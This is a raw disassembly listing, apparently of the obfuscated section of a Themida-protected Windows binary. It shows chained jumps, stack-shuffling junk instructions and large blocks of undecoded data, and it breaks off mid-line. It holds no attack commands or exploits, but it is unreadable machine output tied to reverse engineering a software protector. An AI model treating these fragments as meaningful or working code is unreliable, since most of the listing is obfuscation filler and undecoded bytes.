0F71C265Ch dd 8E93E9D5h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558BB6: ; CODE XREF: Themida_:0055F3E7j push dword ptr [esp] mov eax, [esp] jmp loc_559BA8 ; --------------------------------------------------------------------------- db 89h, 2 dup(24h) dd 4240481h, 0FF000000h, 0E95F2434h, 9939h ; --------------------------------------------------------------------------- loc_558BD4: ; CODE XREF: Themida_:00561082j jmp loc_54FF17 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd offset loc_41D7E9 dd 80D30000h, 0E95ACDEBh, 7DE9h, 224448Ah, 2247C88h, 0FF76ADE9h db 0FFh ; --------------------------------------------------------------------------- loc_558BF9: ; CODE XREF: Themida_:005547D5j pop esi add esi, 4 sub esi, 4 push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] jmp loc_563C19 ; --------------------------------------------------------------------------- dd 5D97EA81h, 0D301551Ah, 81FB295Ah, 5334C7EBh, 0A7EB816Ch dd 8B70480Ch, 90E9243Ch, 6600002Bh, 8766D2F7h, 0C38166D3h dd 11E96177h db 0FBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558C43: ; CODE XREF: Themida_:00562372j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], esp add dword ptr [esp], 4 jmp loc_55279C ; --------------------------------------------------------------------------- loc_558C59: ; CODE XREF: Themida_:0055BCAAj add esi, ecx pop ecx pop edx xor esi, [esp] xor [esp], esi jmp loc_55A4BE ; --------------------------------------------------------------------------- dd 0E848552Dh, 58C229D1h, 0F5E9C909h, 86FFFFABh, 80C4FECCh dd 0E4C001C4h, 41E48003h, 6601EC80h, 0C8B151h, 805966CCh dd 0E953FFC4h, 0C715h ; --------------------------------------------------------------------------- loc_558C98: ; CODE XREF: Themida_:00550FA5j pop edi xor ecx, 1CACF1A7h add edx, ecx pop ecx push edi mov edi, 4 jmp loc_560703 ; --------------------------------------------------------------------------- db 50h, 89h, 0E0h dd 405h, 0D8E95700h, 830000BDh, 0EC8104C4h, 4, 0FFDE0BE9h db 0FFh ; --------------------------------------------------------------------------- loc_558CC9: ; CODE XREF: Themida_:0055EA94j add edx, 6F884B2Ch jmp loc_562DDE ; --------------------------------------------------------------------------- dd 8B2434FFh, 0C481240Ch, 4, 5304C483h, 5F3F39BBh, 51E98170h dd 29752740h, 51B850D9h, 0E9752740h, 0FFFFCBE7h dword_558CFC dd 0FF2434FFh, 0D5E92434h, 89000095h, 0E589242Ch, 4C581h ; DATA XREF: Themida_:0054FE50o dd 0E9520000h, 5C25h, 2DB3BE56h, 0F23112EFh, 0D160E95Eh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558D26: ; CODE XREF: Themida_:00555EF8j sub esp, 4 mov [esp], ebx mov ebx, 75BD1575h jmp loc_55C693 ; --------------------------------------------------------------------------- dw 0F829h a_ISxyhx db '_-©',0Bh,'‘xYh•',0 align 4 dd 0E9243489h, 0FFFF9A5Ch ; --------------------------------------------------------------------------- loc_558D4C: ; CODE XREF: Themida_:00563592j push esi mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp] pop esp mov [esp], ebp mov ebp, 4 add [esp+4], ebp pop ebp jmp loc_554F80 ; --------------------------------------------------------------------------- loc_558D71: ; CODE XREF: Themida_:00555864j add ecx, 4 add ecx, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_5589FB ; --------------------------------------------------------------------------- dd 3A64F381h, 0F3810DAEh, 50CB33C8h, 9205C381h, 0AFE94CD1h dd 5000093h, 351301C3h, 96268h, 24348900h, 4F0168h, 240C8900h dd 0A03FDAB9h, 2E1C131h, 451EE9h db 0 ; --------------------------------------------------------------------------- loc_558DC5: ; CODE XREF: Themida_:00558934j push eax jmp loc_55B8F6 ; --------------------------------------------------------------------------- byte_558DCB db 66h ; DATA XREF: Themida_:0054FCA0o dd 0E924048Bh, 17D9h, 0E95EF209h, 9539h, 5FFE0159h, 8B243487h dd 0EC832424h, 0C8E9E904h, 0E95EFFFFh, 14E0h, 5D82959h dd 2B5561CBh, 9BB0E9h db 0 ; --------------------------------------------------------------------------- loc_558E01: ; CODE XREF: Themida_:00561DE7j pop edx jmp loc_559985 ; --------------------------------------------------------------------------- loc_558E07: ; CODE XREF: Themida_:00551706j add esp, 4 push 2414h mov [esp], ebx mov ebx, 77077B92h sub ebx, 3D2F0A16h push ebp mov ebp, 5020283Dh sub eax, ebp mov ebp, [esp] jmp loc_560DDE ; --------------------------------------------------------------------------- dd 0BA241489h, 4200408Eh, 1E5FCA81h, 814A38D5h, 86E23BC2h dd 0E9D00193h, 1A74h, 4C381h, 40E90000h, 8BFFFFC2h, 0C4812404h dd 4, 0BDD7E9h db 0 ; --------------------------------------------------------------------------- loc_558E65: ; CODE XREF: Themida_:00554783j pop edx push dword ptr [esp] pop ebx add esp, 4 jmp loc_55019B ; --------------------------------------------------------------------------- db 1, 0D1h, 5Ah aWsu4 db 'Wéž4',0 align 2 loc_558E7E: ; CODE XREF: Themida_:0055B15Bj push ecx jmp loc_55BBC6 ; --------------------------------------------------------------------------- loc_558E84: ; CODE XREF: Themida_:00564999j sub esp, 4 mov [esp], edi mov edi, 0EB20E21Ch xor eax, edi pop edi xor ecx, eax pop eax push esi sub esp, 4 mov [esp], eax mov eax, 4290061Ch jmp loc_55147A ; --------------------------------------------------------------------------- dw 0C381h dd 7FA25286h, 0EB81D3F7h, 998412Eh, 9BE9DF29h, 89000087h dd 405E0h, 0BA520000h, 4, 712B4A05h, 2DD02950h, 50712B4Ah dd 5A2434FFh, 0FF8E0AE9h db 0FFh ; --------------------------------------------------------------------------- loc_558EDD: ; CODE XREF: Themida_:0055FAC1j pop edx sub ecx, ebx push eax mov eax, 505B432Dh shr eax, 5 jmp loc_5653E5 ; --------------------------------------------------------------------------- loc_558EEE: ; CODE XREF: Themida_:0055EF65j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub edx, 34865EEAh add edx, eax jmp loc_54FFC2 ; --------------------------------------------------------------------------- dd 68241489h, 4, 7942E9h, 59C83100h, 0FF911FE9h db 0FFh ; --------------------------------------------------------------------------- loc_558F1D: ; CODE XREF: Themida_:0055489Bj mov [esp], ebx xor dword ptr [esp], 254474EDh pop eax xor eax, 254474EDh push edi push eax mov eax, 3AB0B24h mov edi, 6CE70CA3h sub edi, eax jmp loc_563D39 ; --------------------------------------------------------------------------- dd 8A9BF57h, 0FB0958FDh, 0E9243C8Bh, 4EFCh, 6624248Bh dd 8124048Bh, 4ECh, 242C8900h, 85DBE9h, 241C8700h, 0FFC244E9h dd 57C581FFh, 817DBC56h, 373470C5h, 0B5C3817Eh, 10DD61Ah dd 3D74E9EBh, 0DE890000h, 8AEAE95Bh, 248BFFFFh, 0A30F6624h dd 0E99C2404h, 0FFFF6F7Bh, 9C240CFEh, 0FF6F72E9h, 24348BFFh dd 3304C483h, 4312404h, 24043324h, 0E924248Bh, 8AFDh, 5F2434FFh dd 9401E9h, 0CDEE8000h, 88F38853h, 5A665BD9h, 77E96C04h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558FD7: ; CODE XREF: Themida_:00560644j push 538Bh jmp loc_55F0AB ; --------------------------------------------------------------------------- loc_558FE1: ; CODE XREF: Themida_:005580E3j pop esi sub ebx, 0FFFFFFFFh or ebx, 5C213417h and ebx, 5A087A8Eh jmp loc_552CD1 ; --------------------------------------------------------------------------- dw 0CA01h dd 24143359h, 33241431h, 248B2414h, 971AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55900A: ; CODE XREF: Themida_:0055BE08j mov cl, bh jmp loc_55636A ; --------------------------------------------------------------------------- loc_559011: ; CODE XREF: Themida_:00556D96j or edx, eax shl edx, 1 push 2028h jmp loc_55BB40 ; --------------------------------------------------------------------------- loc_55901F: ; CODE XREF: Themida_:00557BE0j pop edi add edx, 619E5B78h jmp loc_559E69 ; --------------------------------------------------------------------------- db 0FFh a4SS db '4$霑',0 dw 8900h dd 0EC835BD9h, 24048904h, 1207A5B8h, 14F75032h, 0FC055824h dd 68328159h, 35EDh, 2C3E9h, 6EDC100h, 0FFC9B8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55905D: ; CODE XREF: Themida_:00551D9Dj add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ebx mov ebx, esp add ebx, 4 jmp loc_5542A8 ; --------------------------------------------------------------------------- dword_559078 dd 9D1C77FFh, 14D35966h, 90E99C24h, 0B9FFFF6Eh, 1B0018AFh ; DATA XREF: Themida_:0054FE54o dd 559C829h, 3D077E0Bh, 0A23E3505h, 2BB32D1Ah, 0D82910CAh dd 3197E9h db 0 ; --------------------------------------------------------------------------- loc_5590A5: ; CODE XREF: Themida_:005590DDj pop edi xchg ecx, [esp] pop esp mov [esp], edi jmp loc_553B6B ; --------------------------------------------------------------------------- dw 15Eh aZs db 'ÑZé~',0 db 2 dup(0) ; --------------------------------------------------------------------------- loc_5590BB: ; CODE XREF: Themida_:00561E21j add esi, 1BE01231h xor esi, 7BCE74E6h add ecx, esi pop esi jmp loc_55B02C ; --------------------------------------------------------------------------- db 58h dd 171BE95Bh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5590D6: ; CODE XREF: Themida_:0055D957j mov edi, 4 sub ecx, edi jmp loc_5590A5 ; --------------------------------------------------------------------------- loc_5590E2: ; CODE XREF: Themida_:0055B194j add edi, 57BC0D62h shr edi, 6 not edi sub edi, 3E2B7004h sub edi, 0A8932B22h sub ecx, edi pop edi mov ebx, [esp] add esp, 4 push ebp mov ebp, 6656ACAh jmp loc_5524A4 ; --------------------------------------------------------------------------- loc_559110: ; CODE XREF: Themida_:005507AAj xchg ecx, [esp] pop esp add esp, 4 jmp loc_55EB55 ; --------------------------------------------------------------------------- dd 0D494E952h, 0E958FFFFh, 0C37Ch, 73E988B3h, 0B4000090h dd 58E58831h, 7951E9h, 56F90100h, 0CE1160BEh, 0E6814652h dd 0D0B60D5h, 6190F681h, 0F1292DB7h, 5D01E95Eh, 89570000h dd 4C781E7h, 81000000h, 4C7h, 0B94E900h, 57510000h, 4BFh dd 5FF98900h, 8359CA01h, 148704C2h, 83555C24h, 1C8904ECh dd 0DBCDE924h, 8142FFFFh, 0E21A67F2h, 50BB5350h, 31B7429Ah dd 46E95BDAh, 0FF000098h, 48B2434h, 59545124h, 0FF8A33E9h dd 17E981FFh, 550D4826h, 0A96D14BDh, 7D72E934h, 2C890000h dd 0DAA56824h, 315D6E7Fh, 0B027E9EAh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5591CE: ; CODE XREF: Themida_:00557170j mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_554DA9 ; --------------------------------------------------------------------------- db 2Dh, 8Ch, 0C9h dd 0C529FD68h, 5176E9h, 24248B00h, 24040966h, 6D1DE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5591FA: ; CODE XREF: Themida_:00553BE4j neg ebx dec ebx jmp loc_55627F ; --------------------------------------------------------------------------- dw 0EA31h dd 0DBCA815Dh, 816C9D5Bh, 47BEABC2h, 45CD2DE5h, 0D0016FBAh dd 0BA45CD05h, 11E95A6Fh, 3300001Eh, 248B2404h, 4C48124h dd 0D3000000h, 0E0E92424h, 81FFFF6Ch, 5F0DA1E9h, 0C335822h dd 240C3124h, 1684E9h, 24148B00h, 4C481h, 75680000h, 8900006Ch dd 0ECE9242Ch, 55000025h, 2900BE56h, 0EEC10680h, 4ED6F703h dd 58DCC681h, 0F68167DEh, 3CE3076Dh, 0A3F4E9h, 4896600h dd 6C91E924h, 0CA81FFFFh, 65D65E8Fh, 9D10E9h, 4EC8100h dd 89000000h, 96E9242Ch, 68FFFFC3h, 6AC3h, 89241489h, 4EC81E2h dd 89000000h, 0E956240Ch, 0FFFFF607h ; --------------------------------------------------------------------------- loc_5592B8: ; CODE XREF: Themida_:005615B3j xor ecx, [esp] mov esp, [esp] push eax sub dword ptr [esp], 0AA8645Ah push dword ptr [esp] jmp loc_557027 ; --------------------------------------------------------------------------- dw 2B9h dd 0E9000000h, 0FFFFABB9h, 2958C201h, 0F5015AD6h, 0E924348Bh dd 49Ah, 24048966h, 0E130FBB4h, 0BC685866h, 0E9000021h dd 0AD64h, 4244C29h, 4246C81h, 7ACC70AAh, 350FE9h, 0DDBB5300h dd 0E94FBD3Fh, 5F24h, 0BE243489h, 0FF90ADABh, 0FFABB1E9h dd 240489FFh, 0EC804DB4h, 0F6CCFE01h, 0CCB252D4h, 0C2FED2F6h dd 0AB1FE9h, 24048700h, 3124248Bh, 0E99C2404h, 0FFFF6BCBh dd 0BB241C89h, 4BE15653h, 2414F753h, 4BD3F75Bh, 0C381D3F7h dd 4BE15657h, 0D7E9DA01h db 43h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55936B: ; CODE XREF: Themida_:0055E3B9j push ebx push ecx mov ecx, 15E475FBh add [esp+4], ecx pop ecx jmp loc_555747 ; --------------------------------------------------------------------------- loc_55937C: ; CODE XREF: Themida_:00550E2Aj add eax, edi jmp loc_55D619 ; --------------------------------------------------------------------------- db 29h dd 0B1B7E9D1h, 2B9FFFFh, 81000000h, 0C9657CC6h, 2B78E935h dd 4870000h, 81565C24h, 4ECh, 240C8900h, 8B5D565Eh, 61E92434h db 0BAh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5593B3: ; CODE XREF: Themida_:00555887j pop edi push ebx mov ebx, 2 sub eax, ebx pop ebx jmp loc_55BE50 ; --------------------------------------------------------------------------- loc_5593C2: ; CODE XREF: Themida_:00551D69j pop edx mov ch, 0Ah xor ch, bl mov ebx, [esp] jmp loc_56172A ; --------------------------------------------------------------------------- db 0FFh dd 48B2434h, 4C48324h, 44D668h, 24348900h, 0C681E689h dd 4, 70DF68h, 24048900h, 0C974E955h, 0FFB9FFFFh, 1FFFFFFh dd 0EA8159CAh, 1, 429AE281h, 0EA812AE3h, 0FFFFFFFFh, 0CFEBB951h dd 0CA29A2D8h, 0A347E9h, 4BE5600h, 29000000h, 69D5E9F0h dd 0C6830000h, 24348704h, 8768E9h db 0 ; --------------------------------------------------------------------------- loc_559435: ; CODE XREF: Themida_:0055A4C2j shr eax, 18h xor eax, ecx sub esp, 4 mov [esp], eax jmp loc_55BA67 ; --------------------------------------------------------------------------- dd 0FE8DB551h, 4AC580C5h, 92E9EE08h, 83FFFF76h, 148704C2h dd 0B4E95C24h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_560EEE ; --------------------------------------------------------------------------- db 81h dd 4C2h, 4C28100h, 87000000h, 8F5C2414h, 0DF682404h, 0E900003Bh dd 0FFFF9DE9h, 59C8895Eh, 4B56B951h, 0E1816060h, 543F5C6Fh dd 0A3E1E941h, 1C89FFFFh, 4EC8124h, 89000000h, 0E6892434h dd 4C681h, 0EE830000h, 8B88E904h, 34FF0000h, 3E685B24h dd 8900007Bh, 5B54241Ch, 3F8268h, 243C8900h, 0FF708EE9h dd 815D54FFh, 4C5h, 0BF575300h, 0B1D37A6h, 975DE955h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5594EA: ; CODE XREF: Themida_:00559561j push edx not byte ptr [esp+1] pop edx dec dh not dh jmp loc_556800 ; --------------------------------------------------------------------------- db 57h, 0E9h, 37h dd 8BFFFFBFh, 14892424h, 124AE924h, 54510000h, 51685259h dd 89000059h, 11B82404h, 551A8A26h, 360130BDh, 0C8CD8123h dd 4D14C75Ah, 1545C581h, 0D5F70B2Dh, 96FBB53h, 0C381238Dh dd 1CA904A6h, 0B38AE9h, 5AD58900h, 1BB53h, 0DD290000h dd 4EC815Bh, 0E9000000h, 0D14h ; --------------------------------------------------------------------------- loc_559558: ; CODE XREF: Themida_:005602AEj push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp jmp loc_5594EA ; --------------------------------------------------------------------------- dw 0EEC1h dd 8C68106h, 89FF4887h, 0EE815EF2h, 0A093663h, 0C681D629h dd 0A093663h, 5A2434FFh, 4C481h, 0B8E90000h, 5CFFFFECh dd 68241C89h, 4887h, 0FFBA0BE9h db 0FFh ; --------------------------------------------------------------------------- loc_55959D: ; CODE XREF: Themida_:0055B92Fj mov ebp, esp push ebx mov ebx, esp jmp loc_551DC3 ; --------------------------------------------------------------------------- loc_5595A7: ; CODE XREF: Themida_:00558AE4j push ebp mov ebp, 0B7E04C7h jmp loc_557AA7 ; --------------------------------------------------------------------------- dw 0BA52h dd 23D74E77h, 6446CA81h, 0E9421332h, 0FFFF8F3Dh ; --------------------------------------------------------------------------- loc_5595C4: ; CODE XREF: Themida_:00561E6Aj sub esp, 4 jmp loc_563AA7 ; --------------------------------------------------------------------------- db 88h dd 0D2F658E2h, 0D5E9D2F6h, 0F60000BBh, 3E4C0DCh, 0C480D4F6h dd 58E32076h, 0F6F9C380h, 6EB551DBh, 0B353DDF6h, 0BEB8006h dd 8005EB80h, 0CB803AF3h, 4EBC0C0h, 0E9D1EB80h, 0A6D1h dd 5351E289h, 99F4E9h, 7B546800h, 4890000h, 1589E924h dd 0BF570000h, 4, 0FFA9E2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55962D: ; CODE XREF: Themida_:00552F15j pop dword ptr [esp] mov esp, [esp] jmp loc_560E99 ; --------------------------------------------------------------------------- dd 4B8h, 0C0EE8100h, 10C531Eh, 0C0C681C6h, 580C531Eh, 3048BF57h dd 0EE95986h db 92h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559657: ; CODE XREF: Themida_:00553938j mov ebx, [esp] add esp, 4 xchg eax, esi not eax jmp loc_555A4E ; --------------------------------------------------------------------------- aS_7 db '[齺',0 db 0 ; --------------------------------------------------------------------------- loc_55966B: ; CODE XREF: Themida_:00563834j mov edi, 4 jmp loc_55A0A2 ; --------------------------------------------------------------------------- byte_559675 db 0FFh, 77h, 2Ch ; DATA XREF: Themida_:0054FDD4o dd 0FF689AE9h db 0FFh ; --------------------------------------------------------------------------- loc_55967D: ; CODE XREF: Themida_:00564F0Cj xor [esp], ecx xor ecx, [esp] jmp loc_55D1C6 ; --------------------------------------------------------------------------- dd 4EC81h, 4890000h, 7403B824h, 22256F20h, 520AC51h, 4EB4983h dd 0F4667A35h, 58C529DAh, 8104EDC1h, 0A3D32E5h, 10E95272h dd 3300000Eh, 3C31243Ch, 243C3324h, 8924248Bh, 2F682404h dd 585AD262h, 0D2622FBBh, 2AEB815Ah, 29556027h, 42C0E9C3h dd 0D8F70000h, 5F615635h, 58C301AEh, 4C381h, 1C330000h dd 241C3124h, 5C241C33h, 35A068h, 240C8900h, 582434FFh dd 0FF04C483h, 34FF2434h, 4E95924h db 6Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559713: ; CODE XREF: Themida_:0055245Aj sub esi, 7FCF52F2h mov ecx, [esp] add esp, 4 mov ebp, esi jmp loc_55F629 ; --------------------------------------------------------------------------- dw 2C87h dd 48F5C24h, 24248B24h, 0FFFB48E9h, 59CE01FFh, 73ED81h dd 0F5014970h, 73C581h, 348B4970h, 5ECAE924h, 248B0000h dd 0BE52E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_559756: ; CODE XREF: Themida_:0056337Fj shr ecx, 2 push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_556E41 ; --------------------------------------------------------------------------- loc_55976A: ; CODE XREF: Themida_:005545F8j add bl, dh pop dx add bl, 99h jmp loc_55FF6B ; --------------------------------------------------------------------------- word_559776 dw 81ADh ; DATA XREF: Themida_:0054FEA0o dd 4ECh, 0ABE8E900h, 0C4810000h, 4, 2E67BB53h, 0E3816177h dd 66492DFDh, 6E3DF381h, 0DD092D07h, 0E94D4D5Bh, 0B99Bh dd 0EE81DEF7h, 96FFD6E9h, 355EF029h, 79DC791h, 48BC629h dd 4C48324h, 0FF9FD3E9h, 244401FFh, 0E95B5804h, 0FFFFF680h ; --------------------------------------------------------------------------- loc_5597CC: ; CODE XREF: Themida_:0055409Cj shr edx, 3 push esi mov esi, 1C156DA8h jmp loc_56189C ; --------------------------------------------------------------------------- loc_5597DA: ; CODE XREF: Themida_:00555398j push dword ptr [esp] pop eax add esp, 4 push edx sub esp, 4 mov [esp], ebp push dword ptr [esp] pop edx jmp loc_5630B9 ; --------------------------------------------------------------------------- db 31h, 34h, 24h dd 5C243433h, 0C381FB29h, 0EED003Bh, 0AF6FE95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_559806: ; CODE XREF: Themida_:00555136j add edx, 20FD1C10h add edx, eax sub edx, 20FD1C10h pop eax push eax mov eax, 4 jmp loc_558896 ; --------------------------------------------------------------------------- dd 15AD329h, 0D9C381D3h, 0E94B3364h, 5159h, 89240C89h dd 4C181E1h, 83000000h, 0C8704C1h, 0D6E95C24h, 50FFFFFBh dd 4114E9h db 0 ; --------------------------------------------------------------------------- loc_55984D: ; CODE XREF: Themida_:0055D386j add eax, ecx pop ecx jmp loc_559C75 ; --------------------------------------------------------------------------- byte_559855 db 0FFh, 34h, 24h ; DATA XREF: Themida_:0054FD14o dd 8B2434FFh, 0C483240Ch, 4C48104h, 68000000h, 2875h, 0E9243C89h dd 9AFEh, 8041C680h, 6859FDEEh, 59D8h, 0B7241C89h, 51C7FED7h dd 52665AB1h, 0D6F6CE88h, 5A66F188h, 0FFA03BE9h db 0FFh ; --------------------------------------------------------------------------- loc_559899: ; CODE XREF: Themida_:00560CCFj push 3E6Fh mov [esp], eax jmp loc_55B153 ; --------------------------------------------------------------------------- dw 248Bh dd 0C8856624h, 6665E99Ch, 0BA52FFFFh, 6EA4BE3h, 76CAF281h dd 0CA817268h, 13FE3CCAh, 990AE9h db 0 ; --------------------------------------------------------------------------- loc_5598C9: ; CODE XREF: Themida_:00559BC3j pop esp shr eax, 0Ch xor eax, ecx jmp loc_563504 ; --------------------------------------------------------------------------- dd 8704C783h, 0E95C243Ch, 0FFFF6637h, 0BE243489h, 1, 815EF201h dd 80B680EAh, 245401E1h, 1CE95A04h, 0D2FFFF66h, 0E99C242Ch dd 0FFFF6613h, 4ED81h, 2C870000h, 34895C24h, 4BE24h, 11680000h dd 0E9000075h, 0FFFF85D1h ; --------------------------------------------------------------------------- loc_559920: ; CODE XREF: Themida_:0055A29Cj or edx, 2A5A5CACh add edx, 99B14B43h mov eax, edx pop edx sub edi, eax pop eax xor eax, edi pop edi push ecx jmp loc_5634BD ; --------------------------------------------------------------------------- db 89h dd 0EC81240Ch, 4, 7E0E9h, 88505A00h, 0E9E688ECh, 0FFFF6BA6h dd 5EBB535Bh, 0E9740536h, 0FFFFD9D4h, 7DE6CA81h, 1AE90F2Ah db 8Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55996B: ; CODE XREF: Themida_:00554670j add edi, 4 sub edi, 4 push edi push dword ptr [esp+4] pop edi pop dword ptr [esp] jmp loc_562E55 ; --------------------------------------------------------------------------- loc_559985: ; CODE XREF: Themida_:00558E02j add edx, 1 push edi mov edi, 0B5129676h sub edx, edi mov edi, [esp] add esp, 4 jmp loc_5607A3 ; --------------------------------------------------------------------------- loc_55999E: ; CODE XREF: Themida_:00557007j add edi, 2 xchg edi, [esp] mov esp, [esp] sub bx, ax jmp loc_5600E9 ; --------------------------------------------------------------------------- db 0BAh dd 17AB0572h, 0FFAF9BE9h, 0C8B5FFFh, 6728E924h, 0ADBDFFFFh dd 29B07E29h, 0C6815DEBh, 592A46B6h, 0EE81DE29h, 592A46B6h dd 1FF3E95Bh, 8B660000h, 0F5682404h, 8900007Bh, 3168240Ch dd 81000012h, 4ECh, 24248900h, 4240483h, 6824048Fh, 6B23h dd 0E9240489h, 0FFFF956Fh ; --------------------------------------------------------------------------- loc_559A0C: ; CODE XREF: Themida_:0055DC7Dj mov ebp, [esp] jmp loc_55D348 ; --------------------------------------------------------------------------- loc_559A14: ; CODE XREF: Themida_:00561FF3j pop dword ptr [esp] pop esp sub eax, 1B072DDBh add eax, ecx jmp loc_553825 ; --------------------------------------------------------------------------- dd 0E9241C33h, 0FFFFC383h, 0CB0DC581h, 0C68196DEh, 5168127Bh dd 6F5CEE81h, 0EE014A3Fh, 6F5CC681h, 0EE814A3Fh, 5168127Bh dd 5B36E9h db 0 ; --------------------------------------------------------------------------- loc_559A51: ; CODE XREF: Themida_:00558B94j dec eax add eax, 17490E38h sub eax, 0D3270B28h jmp loc_560677 ; --------------------------------------------------------------------------- db 29h, 4Ch, 24h dd 7DE95904h, 0B9FFFFE6h, 67672296h, 0FFEA5EE9h db 0FFh ; --------------------------------------------------------------------------- loc_559A75: ; CODE XREF: Themida_:00555191j pop edi sub edx, 1ECC3773h add edx, ecx jmp loc_557B8C ; --------------------------------------------------------------------------- loc_559A83: ; CODE XREF: Themida_:0055F28Aj pop ecx push ebx mov ebx, esp jmp loc_560A9F ; --------------------------------------------------------------------------- loc_559A8C: ; CODE XREF: Themida_:005566BCj add edx, 7E9F22AAh and edx, 7FB4555Bh shl edx, 7 add edx, 249D1FDFh jmp loc_55B3B0 ; --------------------------------------------------------------------------- dw 0C083h dd 0A9E95301h, 81000010h, 4C1h, 4C18100h, 0E9000000h, 0FFFF85C7h dd 5FC1BE56h, 0E94E634Eh, 0FFFFEA2Dh, 14DEB850h, 0F2353CC6h dd 2D3A0538h, 0F81E157Ch, 4D58C531h, 0ED81D5F7h, 0E942FB02h dd 54BFEA81h, 0EA017AE7h, 54BFC281h, 505D7AE7h, 4036E6B8h dd 48D8F712h, 9B2A0B35h, 0AC4682Dh, 3C890000h, 1473BF24h dd 0B8E97AD8h, 0BF00005Dh, 2026D108h, 0E95FF831h, 0FFFF914Dh ; --------------------------------------------------------------------------- loc_559B24: ; CODE XREF: Themida_:00558781j add esp, 4 pop dword ptr [esp] mov esp, [esp] or ebx, ebx jmp loc_5646A7 ; --------------------------------------------------------------------------- dd 2F33E1BBh, 245C2957h, 44815B0Ch, 68EE0824h, 148B4636h dd 4C48124h, 8B000000h, 0C483241Ch, 242C8104h, 21A01877h dd 0B9240481h, 11C0D55h, 2C812404h, 0D55B924h, 2404811Ch dd 21A01877h, 8904EC83h, 0CFE9240Ch db 12h, 2 dup(0) byte_559B7F db 66h ; DATA XREF: Themida_:0054FD28o dd 66627668h, 665A4A68h, 66242489h, 2240481h, 48F6600h dd 65686624h, 0C89662Fh, 2B96624h, 0E9536600h, 6E7Fh ; --------------------------------------------------------------------------- loc_559BA8: ; CODE XREF: Themida_:00558BBCj add esp, 4 push edi push esp pop edi add edi, 4 push ebp jmp loc_5514D6 ; --------------------------------------------------------------------------- loc_559BBA: ; CODE XREF: Themida_:00554855j add edx, 4 xchg edx, [esp] jmp loc_5598C9 ; --------------------------------------------------------------------------- loc_559BC8: ; CODE XREF: Themida_:005551ACj mov esi, 4A043030h inc esi neg esi jmp loc_560717 ; --------------------------------------------------------------------------- db 52h, 0FFh, 74h dd 8F5A0424h, 248B2404h, 0CD36624h, 2CE99C24h, 81FFFF63h dd 4C3h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_559F76 ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 6Eh dd 89FFFFA0h, 0E389241Ch, 3EF3BD55h, 0E5815E91h, 51FF3A85h dd 0FFFFBF57h, 0FD29FFFFh, 0F7D5F75Fh, 81D5F7DDh, 0EE5B7BC5h dd 0BB534D62h, 4F9C770Bh, 0FF9F8AE9h db 0FFh ; --------------------------------------------------------------------------- loc_559C31: ; CODE XREF: Themida_:00553F37j mov [esp], edi jmp loc_5630C7 ; --------------------------------------------------------------------------- aPs2d db 'Pé2„',0 dw 5B00h dd 3B1DE781h, 814F287Fh, 0CB6901E7h, 7517E92Ch, 0ED80FFFFh dd 1C58001h, 0FEF9B753h, 7E7C0C7h, 5D1CE9h, 66B85000h dd 1231160h, 0FB0158C3h, 0FF7151E9h db 0FFh ; --------------------------------------------------------------------------- loc_559C75: ; CODE XREF: Themida_:00559850j sub eax, 4 xchg eax, [esp] jmp loc_55A3EE ; --------------------------------------------------------------------------- aSiSM db 'SˆÃéÎŒ',0 align 4 dd 575AD701h, 42474FFh, 78A5E9h db 0, 0C3h word_559C96 dw 77FFh ; DATA XREF: Themida_:0054FC34o dd 59669D1Ch, 9C2414D2h, 0FF6272E9h db 0FFh ; --------------------------------------------------------------------------- loc_559CA5: ; CODE XREF: Themida_:00555ADDj push edx push edi jmp loc_560587 ; --------------------------------------------------------------------------- aMrRaHsmi db '¬R²€êHémI',0 ; DATA XREF: Themida_:0054FCF8o align 4 dword_559CB8 dd 24048B66h, 2B7768h, 242C8900h, 0D692E954h, 0C101FFFFh ; DATA XREF: Themida_:0054FC6Co dd 3F6368h, 242C8900h, 3510ABBDh, 4EDC16Ah, 83EF581h, 0E9011ED2h dd 83242C8Bh, 0E98104C4h, 10187697h, 0FFA987E9h db 0FFh ; --------------------------------------------------------------------------- loc_559CF5: ; CODE XREF: Themida_:00559FA8j sub dl, cl pop ecx push edx jmp loc_55E7EE ; --------------------------------------------------------------------------- dw 3C87h dd 815D5C24h, 837141EDh, 0A11AE909h db 2 dup(0) ; --------------------------------------------------------------------------- loc_559D0E: ; CODE XREF: Themida_:00561DD8j xor ebx, esi xor esi, ebx mov ebx, [esp] add esp, 4 push eax mov eax, 66E94537h or eax, 27F32D44h add eax, 78AE4F76h and eax, 0AA02597h inc eax sub eax, 0E6E2E827h jmp loc_5517EB ; --------------------------------------------------------------------------- loc_559D38: ; CODE XREF: Themida_:0055DEBEj not edx add edx, 5E5F6E8Dh add edx, 1 xor edx, 0EE189ACFh xor eax, edx pop edx add ebx, eax mov eax, [esp] add esp, 4 mov dx, [esp] push eax mov eax, esp push 4609h mov [esp], ecx jmp loc_5510B3 ; --------------------------------------------------------------------------- dd 68h, 